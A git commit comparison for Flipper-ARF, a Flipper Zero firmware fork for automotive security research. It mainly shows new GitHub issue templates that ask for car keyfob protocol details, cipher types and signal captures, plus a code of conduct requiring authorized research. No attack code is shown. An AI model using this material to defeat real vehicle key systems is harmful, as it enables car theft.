Compare commits
115 Commits
dev-7c7a0a
...
dev-d85657
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d85657b6b3 | ||
|
|
2fd01bb911 | ||
|
|
d23a892a16 | ||
|
|
16d06d75fe | ||
|
|
937a2204c1 | ||
|
|
ab665809ce | ||
|
|
56c5670956 | ||
|
|
a5cf675561 | ||
|
|
c6bec5ef4f | ||
|
|
883d387246 | ||
|
|
951f35c356 | ||
|
|
4e05a0e631 | ||
|
|
17d497e21e | ||
|
|
d5b46ffefb | ||
|
|
9d2298114c | ||
|
|
b93a970647 | ||
|
|
c6265ea29b | ||
|
|
8e0a81b89d | ||
|
|
6f39fd4803 | ||
|
|
41d10f9b3d | ||
|
|
1f97aa2e3c | ||
|
|
5b9038173b | ||
|
|
fde0a57595 | ||
|
|
3fb40944e6 | ||
|
|
e61cfa765a | ||
|
|
fd0dd6c324 | ||
|
|
8ff5e3c311 | ||
|
|
4974201851 | ||
|
|
b0b464e3fb | ||
|
|
57226fc902 | ||
|
|
cb9aee6422 | ||
|
|
b720fac88a | ||
|
|
22daa7cfc3 | ||
|
|
1c9fddf076 | ||
|
|
4380d9f156 | ||
|
|
a4da50c191 | ||
|
|
e881d69ab3 | ||
|
|
b041177398 | ||
|
|
f347d5a976 | ||
|
|
3a6da87288 | ||
|
|
5d94639d81 | ||
|
|
5dcfc48e10 | ||
|
|
20a95b2fec | ||
|
|
3605669cc5 | ||
|
|
fb1c28a0dd | ||
|
|
64a971e806 | ||
|
|
12db96a8ab | ||
|
|
4b50b8b70c | ||
|
|
0f24f8c105 | ||
|
|
238f39d0d8 | ||
|
|
4c3581735b | ||
|
|
689df5262d | ||
|
|
86c740d923 | ||
|
|
0aef017c15 | ||
|
|
cea3bc3b6a | ||
|
|
f3d08573a1 | ||
|
|
9e52a6eb6b | ||
|
|
faf669b457 | ||
|
|
e445b28d73 | ||
|
|
19e2eaa554 | ||
|
|
2571ad7f22 | ||
|
|
22a0870559 | ||
|
|
1c9d1f404a | ||
|
|
fabb1ccc2d | ||
|
|
6a432a93ad | ||
|
|
d2cca91ec8 | ||
|
|
6e483393e1 | ||
|
|
4dc688c25b | ||
|
|
585ce97358 | ||
|
|
592bf5f1ae | ||
|
|
a02aabbbda | ||
|
|
3365fc4fed | ||
|
|
a37ba6b815 | ||
|
|
ab1231667c | ||
|
|
fd7d8c1ea8 | ||
|
|
730bb318fb | ||
|
|
ce085b6895 | ||
|
|
f4c753b673 | ||
|
|
41191df7fd | ||
|
|
d5eb983caa | ||
|
|
853c609977 | ||
|
|
a900aef3e9 | ||
|
|
ed52f88a6c | ||
|
|
71ce73476b | ||
|
|
4f247a9e90 | ||
|
|
9f89d933da | ||
|
|
43b86fc17b | ||
|
|
03897a406e | ||
|
|
09a7668fe7 | ||
|
|
76fbf79bff | ||
|
|
bafe135a56 | ||
|
|
77b58feb92 | ||
|
|
57dafbc76d | ||
|
|
e116abaa9b | ||
|
|
fd9564e301 | ||
|
|
de133ebe09 | ||
|
|
fc03342591 | ||
|
|
bfdf60944f | ||
|
|
0290f601a0 | ||
|
|
2e5648f3f4 | ||
|
|
cffd268950 | ||
|
|
ddb85d034f | ||
|
|
55f770328c | ||
|
|
75a5334a9b | ||
|
|
696041410b | ||
|
|
72d3992092 | ||
|
|
c1d145c9cc | ||
|
|
6507bed882 | ||
|
|
2d8f3563f9 | ||
|
|
aa03d590d5 | ||
|
|
c1d1b654f2 | ||
|
|
6cd7812939 | ||
|
|
beb3c94790 | ||
|
|
d72836cdb8 | ||
|
|
fbae97706b |
BIN
.arf_pictures/counter_bruteforce.png
Normal file
|
After Width: | Height: | Size: 1.9 KiB |
BIN
.arf_pictures/home.png
Normal file
|
After Width: | Height: | Size: 2.4 KiB |
BIN
.arf_pictures/keeloq_key_manager.png
Normal file
|
After Width: | Height: | Size: 1.9 KiB |
BIN
.arf_pictures/mod_hopping.png
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
.arf_pictures/psa_decrypt_builtin.png
Normal file
|
After Width: | Height: | Size: 2.1 KiB |
BIN
.arf_pictures/send_patches.jpeg
Normal file
|
After Width: | Height: | Size: 34 KiB |
BIN
.arf_pictures/subghz_scan.png
Normal file
|
After Width: | Height: | Size: 1.9 KiB |
5
.github/CODEOWNERS
vendored
@@ -1,5 +1,2 @@
|
||||
# Default
|
||||
* @xMasterX
|
||||
|
||||
# Assets
|
||||
/assets/resources/infrared/assets/ @amec0e @Leptopt1los @xMasterX
|
||||
* ARF Crew
|
||||
|
||||
72
.github/ISSUE_TEMPLATE/01_bug_report.yml
vendored
@@ -1,45 +1,77 @@
|
||||
name: Bug report
|
||||
description: File a bug reports regarding the firmware.
|
||||
name: Bug Report
|
||||
description: Report a bug in Flipper-ARF firmware.
|
||||
labels: ["bug"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero unleashed firmware.
|
||||
Thanks for reporting a bug in Flipper-ARF. Please fill in as much detail as possible.
|
||||
- type: input
|
||||
id: firmware-version
|
||||
attributes:
|
||||
label: Firmware version
|
||||
description: "ARF version or git commit hash."
|
||||
placeholder: "e.g. ARF 0.1.2 or commit abc1234"
|
||||
validations:
|
||||
required: true
|
||||
- type: dropdown
|
||||
id: hardware
|
||||
attributes:
|
||||
label: Hardware setup
|
||||
description: "Which hardware configuration are you using?"
|
||||
options:
|
||||
- Flipper Zero (stock)
|
||||
- Flipper Zero (modded antenna)
|
||||
- Flipper Zero + external CC1101
|
||||
- Other (describe below)
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: protocol
|
||||
attributes:
|
||||
label: Protocol affected
|
||||
description: "Which protocol is affected, if applicable?"
|
||||
placeholder: "e.g. Kia V3/V4, PSA GROUP, Keeloq, Fiat Mystery"
|
||||
- type: input
|
||||
id: frequency
|
||||
attributes:
|
||||
label: Frequency & modulation
|
||||
description: "RF frequency and modulation used, if relevant."
|
||||
placeholder: "e.g. 433.92 MHz AM"
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: Describe the bug.
|
||||
description: "A clear and concise description of what the bug is."
|
||||
label: Bug description
|
||||
description: "A clear and concise description of the bug."
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: repro
|
||||
attributes:
|
||||
label: Reproduction
|
||||
label: Steps to reproduce
|
||||
description: "How can this bug be reproduced?"
|
||||
placeholder: |
|
||||
1. Switch on...
|
||||
2. Press button '....'
|
||||
3. Wait for the moon phase
|
||||
4. It burns
|
||||
1. Open SubGhz app
|
||||
2. Load saved .sub file
|
||||
3. Press Send
|
||||
4. Observe error / unexpected behavior
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: target
|
||||
- type: textarea
|
||||
id: expected
|
||||
attributes:
|
||||
label: Target
|
||||
description: Specify the target
|
||||
# Target seems to be largely ignored by outside sources.
|
||||
label: Expected vs actual behavior
|
||||
description: "What did you expect to happen, and what actually happened?"
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: logs
|
||||
attributes:
|
||||
label: Logs
|
||||
description: Attach your debug logs here
|
||||
label: Logs / screenshots
|
||||
description: "Attach debug logs (via serial CLI) or screenshots if available."
|
||||
render: Text
|
||||
# Avoid rendering as Markdown here.
|
||||
- type: textarea
|
||||
id: anything-else
|
||||
attributes:
|
||||
label: Anything else?
|
||||
description: Let us know if you have anything else to share.
|
||||
label: Additional context
|
||||
description: "Any other information that might help (vehicle model, .sub file contents, etc.)."
|
||||
|
||||
20
.github/ISSUE_TEMPLATE/02_enhancements.yml
vendored
@@ -1,20 +0,0 @@
|
||||
name: Enhancements
|
||||
description: Suggest improvements for any existing functionality within the firmware.
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thank you for taking the time to fill out an issue. This template is meant for feature requests and improvements to already existing functionality.
|
||||
- type: textarea
|
||||
id: proposal
|
||||
attributes:
|
||||
label: "Describe the enhancement you're suggesting."
|
||||
description: |
|
||||
Feel free to describe in as much detail as you wish.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: anything-else
|
||||
attributes:
|
||||
label: Anything else?
|
||||
description: Let us know if you have anything else to share.
|
||||
45
.github/ISSUE_TEMPLATE/03_feature_request.yml
vendored
@@ -1,23 +1,46 @@
|
||||
name: Feature Request
|
||||
description: For feature requests regarding the firmware.
|
||||
description: Suggest a new feature or improvement for Flipper-ARF.
|
||||
labels: ["feature request"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thank you for taking the time to fill out an issue, this template is meant for any feature suggestions.
|
||||
- type: textarea
|
||||
id: proposal
|
||||
Thanks for suggesting a feature for Flipper-ARF. Please describe your idea in detail.
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: "Description of the feature you're suggesting."
|
||||
description: |
|
||||
Please describe your feature request in as many details as possible.
|
||||
- Describe what it should do.
|
||||
- Note whetever it is to extend existing functionality or introduce new functionality.
|
||||
label: Category
|
||||
description: "What area does this feature fall under?"
|
||||
options:
|
||||
- New protocol
|
||||
- Protocol improvement
|
||||
- UI / UX
|
||||
- Build system / tooling
|
||||
- Other
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: manufacturer
|
||||
attributes:
|
||||
label: Manufacturer / protocol
|
||||
description: "Which manufacturer or protocol is this related to, if applicable?"
|
||||
placeholder: "e.g. Toyota, Renault, Keeloq"
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: Description
|
||||
description: "Describe the feature you're suggesting."
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: use-case
|
||||
attributes:
|
||||
label: Use case
|
||||
description: "Why is this needed? What problem does it solve?"
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: anything-else
|
||||
attributes:
|
||||
label: Anything else?
|
||||
description: Let us know if you have anything else to share.
|
||||
label: Additional context
|
||||
description: "Any references, datasheets, links, or examples that support this request."
|
||||
|
||||
111
.github/ISSUE_TEMPLATE/04_protocol_submission.yml
vendored
Normal file
@@ -0,0 +1,111 @@
|
||||
name: Protocol / Algorithm Submission
|
||||
description: Submit a new protocol decoder, encoder, or cipher implementation.
|
||||
labels: ["protocol", "contribution"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Use this template to submit a new protocol implementation or algorithm for inclusion in Flipper-ARF.
|
||||
Include as much technical detail as possible — timing, frame structure, cipher type, and test captures.
|
||||
- type: input
|
||||
id: protocol-name
|
||||
attributes:
|
||||
label: Protocol name
|
||||
description: "Name for the protocol (as it should appear in the firmware)."
|
||||
placeholder: "e.g. Renault V2, Opel Corsa, Nissan V0"
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: manufacturer
|
||||
attributes:
|
||||
label: Manufacturer / vehicle
|
||||
description: "Which manufacturer or vehicles use this protocol?"
|
||||
placeholder: "e.g. Renault Clio 2010-2018, Opel/Vauxhall Corsa D"
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: frequency
|
||||
attributes:
|
||||
label: Frequency & modulation
|
||||
description: "RF frequency and modulation type."
|
||||
placeholder: "e.g. 433.92 MHz FM (FSK)"
|
||||
validations:
|
||||
required: true
|
||||
- type: dropdown
|
||||
id: encoding
|
||||
attributes:
|
||||
label: Encoding
|
||||
description: "How are bits encoded in the RF signal?"
|
||||
options:
|
||||
- PWM (Pulse Width Modulation)
|
||||
- Manchester
|
||||
- Differential Manchester
|
||||
- OOK raw
|
||||
- Other (describe in frame structure)
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: timing
|
||||
attributes:
|
||||
label: Timing parameters
|
||||
description: "Provide timing values for the protocol."
|
||||
placeholder: |
|
||||
te_short: 400 us
|
||||
te_long: 800 us
|
||||
te_delta: 150 us
|
||||
Preamble: 16 pairs of alternating short pulses
|
||||
Sync: 1200 us HIGH
|
||||
Gap: 10000 us between bursts
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: frame-structure
|
||||
attributes:
|
||||
label: Frame structure
|
||||
description: "Describe the bit layout — field positions, sizes, fixed vs rolling parts."
|
||||
placeholder: |
|
||||
Total bits: 68
|
||||
Bits 0-31: Encrypted (KeeLoq)
|
||||
Bits 32-59: Serial (28 bits)
|
||||
Bits 60-63: Button code (4 bits)
|
||||
Bits 64-67: CRC (4 bits, XOR of nibbles)
|
||||
validations:
|
||||
required: true
|
||||
- type: dropdown
|
||||
id: cipher
|
||||
attributes:
|
||||
label: Cipher / rolling code type
|
||||
description: "What cipher or rolling code scheme does this protocol use?"
|
||||
options:
|
||||
- None (static code)
|
||||
- KeeLoq
|
||||
- AES
|
||||
- TEA / XTEA
|
||||
- Hitag2
|
||||
- Custom / proprietary
|
||||
- Unknown (needs analysis)
|
||||
validations:
|
||||
required: true
|
||||
- type: dropdown
|
||||
id: status
|
||||
attributes:
|
||||
label: Implementation status
|
||||
description: "How far along is the implementation?"
|
||||
options:
|
||||
- Concept only (analysis / documentation)
|
||||
- Decoder working
|
||||
- Encoder working
|
||||
- Both decoder and encoder working
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: captures
|
||||
attributes:
|
||||
label: Test captures
|
||||
description: "Paste .sub file contents or raw pulse data for validation. Attach files if too large."
|
||||
render: Text
|
||||
- type: textarea
|
||||
id: references
|
||||
attributes:
|
||||
label: References
|
||||
description: "Links to datasheets, research papers, FCC filings, or related projects."
|
||||
99
.github/ISSUE_TEMPLATE/05_key_recording_submission.yml
vendored
Normal file
@@ -0,0 +1,99 @@
|
||||
name: Key Recording Submission
|
||||
description: Contribute captured keyfob recordings for protocol analysis.
|
||||
labels: ["recording", "data"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Use this template to submit captured keyfob recordings (.sub files or raw data).
|
||||
These recordings help with protocol reverse engineering, decoder validation, and cipher analysis.
|
||||
|
||||
**Tips for useful captures:**
|
||||
- Record 10+ sequential presses per button without long gaps
|
||||
- Note the exact button pressed for each capture
|
||||
- If possible, capture from multiple buttons on the same fob
|
||||
- Include the vehicle make, model, and year
|
||||
- type: input
|
||||
id: vehicle
|
||||
attributes:
|
||||
label: Vehicle / device
|
||||
description: "Make, model, year, and any relevant trim info."
|
||||
placeholder: "e.g. 2015 Fiat Panda 1.2 Pop"
|
||||
validations:
|
||||
required: true
|
||||
- type: dropdown
|
||||
id: protocol
|
||||
attributes:
|
||||
label: Protocol (if known)
|
||||
description: "Which protocol was detected, or select Unknown if not yet identified."
|
||||
options:
|
||||
- Unknown / new protocol
|
||||
- VAG GROUP
|
||||
- Cayenne
|
||||
- PSA GROUP
|
||||
- Ford V0
|
||||
- Fiat SpA
|
||||
- Fiat Mystery
|
||||
- Subaru
|
||||
- Siemens (Mazda)
|
||||
- Kia V0
|
||||
- Kia V1
|
||||
- Kia V2
|
||||
- Kia V3/V4
|
||||
- Kia V5
|
||||
- Kia V6
|
||||
- Suzuki
|
||||
- Mitsubishi V0
|
||||
- Keeloq
|
||||
- Other (specify below)
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: frequency
|
||||
attributes:
|
||||
label: Frequency & modulation used
|
||||
description: "The frequency and modulation setting used during capture."
|
||||
placeholder: "e.g. 433.92 MHz AM650"
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: buttons
|
||||
attributes:
|
||||
label: Button / function
|
||||
description: "Which buttons were recorded and what they do."
|
||||
placeholder: "e.g. Lock (Btn A), Unlock (Btn B), Trunk (Btn C)"
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: num-captures
|
||||
attributes:
|
||||
label: Number of captures
|
||||
description: "How many presses were recorded per button?"
|
||||
placeholder: "e.g. 10 sequential presses per button"
|
||||
validations:
|
||||
required: true
|
||||
- type: dropdown
|
||||
id: capture-method
|
||||
attributes:
|
||||
label: Capture method
|
||||
description: "How were the signals captured?"
|
||||
options:
|
||||
- SubGhz Read RAW
|
||||
- SubGhz decoded (saved .sub)
|
||||
- External SDR (HackRF, RTL-SDR, etc.)
|
||||
- Other
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: capture-data
|
||||
attributes:
|
||||
label: Capture data
|
||||
description: "Paste .sub file contents here, or attach files. For multiple files, use separate code blocks labeled by button."
|
||||
render: Text
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: notes
|
||||
attributes:
|
||||
label: Notes
|
||||
description: "Any observations — counter gaps, time between captures, battery changes, multiple fobs, etc."
|
||||
7
.github/ISSUE_TEMPLATE/config.yml
vendored
@@ -1,8 +1 @@
|
||||
blank_issues_enabled: true
|
||||
contact_links:
|
||||
- name: Telegram
|
||||
url: https://t.me/flipperzero_unofficial
|
||||
about: Unofficial Telegram chat
|
||||
- name: Discord
|
||||
url: https://discord.unleashedflip.com
|
||||
about: Unofficial Discord Community
|
||||
|
||||
28
.github/pull_request_template.md
vendored
@@ -1,13 +1,25 @@
|
||||
# What's new
|
||||
## Summary
|
||||
|
||||
- [ Describe changes here ]
|
||||
<!-- What changed and why? Keep it concise. -->
|
||||
|
||||
# Verification
|
||||
## Protocol(s) affected
|
||||
|
||||
- [ Describe how to verify changes ]
|
||||
<!-- Which protocol(s) does this PR touch? e.g. Kia V3/V4, PSA GROUP, none -->
|
||||
|
||||
# Checklist (For Reviewer)
|
||||
## Type of change
|
||||
|
||||
- [ ] PR has description of feature/bug
|
||||
- [ ] Description contains actions to verify feature/bugfix
|
||||
- [ ] I've built this code, uploaded it to the device and verified feature/bugfix
|
||||
- [ ] Bug fix
|
||||
- [ ] New protocol
|
||||
- [ ] Protocol improvement (encoder/decoder/display)
|
||||
- [ ] Build system / infrastructure
|
||||
- [ ] Other
|
||||
|
||||
## Testing
|
||||
|
||||
<!-- How was this verified? Include hardware used, captures tested, etc. -->
|
||||
|
||||
## Checklist
|
||||
|
||||
- [ ] Built with `./fbt COMPACT=1 DEBUG=0 updater_package` (no errors)
|
||||
- [ ] Flashed and tested on Flipper Zero
|
||||
- [ ] No regressions in other protocols
|
||||
|
||||
3
.github/workflows/build-dev.yml
vendored
@@ -17,6 +17,7 @@ jobs:
|
||||
|
||||
- name: Build firmware
|
||||
run: |
|
||||
export DIST_SUFFIX=Flipper-ARF
|
||||
chmod +x fbt
|
||||
./fbt COMPACT=1 DEBUG=0 updater_package
|
||||
|
||||
@@ -28,7 +29,7 @@ jobs:
|
||||
id: firmware
|
||||
run: |
|
||||
DIR=$(ls -d dist/f7-* | head -n 1)
|
||||
FILE="$DIR/flipper-z-f7-update-local.tgz"
|
||||
FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
|
||||
|
||||
if [ ! -f "$FILE" ]; then
|
||||
echo "Firmware file not found!"
|
||||
|
||||
66
CHANGELOG.md
@@ -1,66 +0,0 @@
|
||||
## Main changes
|
||||
- Current API: 87.6
|
||||
* SubGHz: Signal Settings Improvements (PR #968 | by @Dmitry422)
|
||||
* Apps: Build tag (**17feb2026**) - **Check out more Apps updates and fixes by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev)
|
||||
## Other changes
|
||||
* MFKey: Update to v4.1 (by @noproto & @dchristle)
|
||||
<br><br>
|
||||
#### Known NFC post-refactor regressions list:
|
||||
- Mifare Mini clones reading is broken (original mini working fine) (OFW)
|
||||
- While reading some EMV capable cards via NFC->Read flipper may crash due to Desfire poller issue, read those cards via Extra actions->Read specific card type->EMV
|
||||
|
||||
----
|
||||
|
||||
[-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
|
||||
|
||||
[-> Unleashed FW Web Installer](https://web.unleashedflip.com)
|
||||
|
||||
## Please support development of the project
|
||||
|
||||
| Service | Remark | QR Code | Link/Wallet |
|
||||
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------|
|
||||
| <img src="https://cdn.simpleicons.org/patreon/dark/white" alt="Patreon" width="14"/> **Patreon** | | <div align="center"><a href="https://github.com/user-attachments/assets/a88a90a5-28c3-40b4-864a-0c0b79494a42"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [patreon.com/mmxdev](https://patreon.com/mmxdev) |
|
||||
| <img src="https://cdn.simpleicons.org/boosty" alt="Boosty" width="14"/> **Boosty** | patreon alternative | <div align="center"><a href="https://github.com/user-attachments/assets/893c0760-f738-42c1-acaa-916019a7bdf8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [boosty.to/mmxdev](https://boosty.to/mmxdev) |
|
||||
| <img src="https://gist.githubusercontent.com/m-xim/255a3ef36c886dec144a58864608084c/raw/71da807b4abbd1582e511c9ea30fad27f78d642a/cloudtips_icon.svg" alt="Cloudtips" width="14"/> CloudTips | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/5de31d6a-ef24-4d30-bd8e-c06af815332a"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [pay.cloudtips.ru/p/7b3e9d65](https://pay.cloudtips.ru/p/7b3e9d65) |
|
||||
| <img src="https://raw.githubusercontent.com/gist/PonomareVlad/55c8708f11702b4df629ae61129a9895/raw/1657350724dab66f2ad68ea034c480a2df2a1dfd/YooMoney.svg" alt="YooMoney" width="14"/> YooMoney | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/33454f79-074b-4349-b453-f94fdadc3c68"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [yoomoney.ru/fundraise/XA49mgQLPA0.221209](https://yoomoney.ru/fundraise/XA49mgQLPA0.221209) |
|
||||
| <img src="https://cdn.simpleicons.org/tether" alt="USDT" width="14"/> USDT | TRC20 | <div align="center"><a href="https://github.com/user-attachments/assets/0500498d-18ed-412d-a1a4-8a66d0b6f057"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` |
|
||||
| <img src="https://cdn.simpleicons.org/ethereum" alt="ETH" width="14"/> ETH | BSC/ERC20-Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/0f323e98-c524-4f41-abb2-f4f1cec83ab6"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` |
|
||||
| <img src="https://cdn.simpleicons.org/bitcoin" alt="BTC" width="14"/> BTC | | <div align="center"><a href="https://github.com/user-attachments/assets/5a904d45-947e-4b92-9f0f-7fbaaa7b37f8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` |
|
||||
| <img src="https://cdn.simpleicons.org/solana" alt="SOL" width="13"/> SOL | Solana/Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/ab33c5e0-dd59-497b-9c91-ceb89c36b34d"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `DSgwouAEgu8iP5yr7EHHDqMNYWZxAqXWsTEeqCAXGLj8` |
|
||||
| <img src="https://cdn.simpleicons.org/dogecoin" alt="DOGE" width="14"/> DOGE | | <div align="center"><a href="https://github.com/user-attachments/assets/2937edd0-5c85-4465-a444-14d4edb481c0"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` |
|
||||
| <img src="https://cdn.simpleicons.org/litecoin" alt="LTC" width="14"/> LTC | | <div align="center"><a href="https://github.com/user-attachments/assets/441985fe-f028-4400-83c1-c215760c1e74"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` |
|
||||
| <img src="https://bitcoincash.org/img/green/bitcoin-cash-circle.svg" alt="BCH" width="14"/> BCH | | <div align="center"><a href="https://github.com/user-attachments/assets/7f365976-19a3-4777-b17e-4bfba5f69eff"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` |
|
||||
| <img src="https://cdn.simpleicons.org/monero" alt="XMR" width="14"/> XMR | Monero | <div align="center"><a href="https://github.com/user-attachments/assets/96186c06-61e7-4b4d-b716-6eaf1779bfd8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` |
|
||||
| <img src="https://cdn.simpleicons.org/ton" alt="TON" width="14"/> TON | | <div align="center"><a href="https://github.com/user-attachments/assets/92a57e57-7462-42b7-a342-6f22c6e600c1"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `UQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmsxa` |
|
||||
|
||||
|
||||
#### Thanks to our sponsors who supported project in the past and special thanks to sponsors who supports us on regular basis:
|
||||
@mishamyte, ClaraCrazy, Pathfinder [Count Zero cDc], callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ...
|
||||
and all other great people who supported our project and me (xMasterX), thanks to you all!
|
||||
|
||||
|
||||
## **Recommended update option - Web Updater**
|
||||
|
||||
### What `e`, ` `, `c` means? What I need to download if I don't want to use Web updater?
|
||||
What build I should download and what this name means - `flipper-z-f7-update-(version)(e / c).tgz` ? <br>
|
||||
`flipper-z` = for Flipper Zero device<br>
|
||||
`f7` = Hardware version - same for all flipper zero devices<br>
|
||||
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself<br>
|
||||
`(version)` = Firmware version<br>
|
||||
| Designation | [Base Apps](https://github.com/xMasterX/all-the-plugins#default-pack) | [Extra Apps](https://github.com/xMasterX/all-the-plugins#extra-pack) |
|
||||
|-----|:---:|:---:|
|
||||
| ` ` | ✅ | |
|
||||
| `c` | | |
|
||||
| `e` | ✅ | ✅ |
|
||||
|
||||
**To enable RGB Backlight support go into LCD & Notifications settings**
|
||||
|
||||
⚠️RGB backlight [hardware mod](https://github.com/quen0n/flipperzero-firmware-rgb#readme), works only on modded flippers! do not enable on non modded device!
|
||||
|
||||
|
||||
Firmware Self-update package (update from microSD) - `flipper-z-f7-update-(version).tgz` for mobile app / qFlipper / web<br>
|
||||
Archive of `scripts` folder (contains scripts for FW/plugins development) - `flipper-z-any-scripts-(version).tgz`<br>
|
||||
SDK files for plugins development and uFBT - `flipper-z-f7-sdk-(version).zip`
|
||||
|
||||
|
||||
|
||||
@@ -1,128 +1,94 @@
|
||||
# Contributor Covenant Code of Conduct
|
||||
# Flipper-ARF Code of Conduct
|
||||
|
||||
## Our Pledge
|
||||
|
||||
We as members, contributors, and leaders pledge to make participation in our
|
||||
community a harassment-free experience for everyone, regardless of age, body
|
||||
size, visible or invisible disability, ethnicity, sex characteristics, gender
|
||||
identity and expression, level of experience, education, socio-economic status,
|
||||
nationality, personal appearance, race, religion, or sexual identity
|
||||
and orientation.
|
||||
We as members, contributors, and maintainers of Flipper-ARF pledge to make participation in this project a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
|
||||
|
||||
We pledge to act and interact in ways that contribute to an open, welcoming,
|
||||
diverse, inclusive, and healthy community.
|
||||
We pledge to act and interact in ways that contribute to an open, welcoming, and responsible research community.
|
||||
|
||||
## Our Standards
|
||||
## Ethical Research Standards
|
||||
|
||||
Examples of behavior that contributes to a positive environment for our
|
||||
community include:
|
||||
Flipper-ARF is an automotive security research project. All contributions, discussions, and use of this project must adhere to the following ethical standards:
|
||||
|
||||
* Demonstrating empathy and kindness toward other people
|
||||
1. **Lawful purpose only.** All work must be for lawful, educational, or explicitly authorized security research purposes. Contributors must comply with all applicable local, national, and international laws.
|
||||
|
||||
2. **No unauthorized access.** Do not use this firmware or any knowledge gained from it to access vehicles, devices, or systems without explicit authorization from the owner.
|
||||
|
||||
3. **Responsible disclosure.** If your research reveals a vulnerability in a manufacturer's system, follow responsible disclosure practices — notify the manufacturer and allow reasonable time for remediation before any public disclosure.
|
||||
|
||||
4. **Key material handling.** Do not share manufacturer-specific cryptographic keys, seeds, or proprietary algorithms outside the scope of this project's research goals. Key material included in the project is for protocol interoperability research only.
|
||||
|
||||
5. **Authorized captures only.** Signal captures and key recordings submitted to the project should come from researcher-owned vehicles or devices, or be obtained with explicit written permission from the owner.
|
||||
|
||||
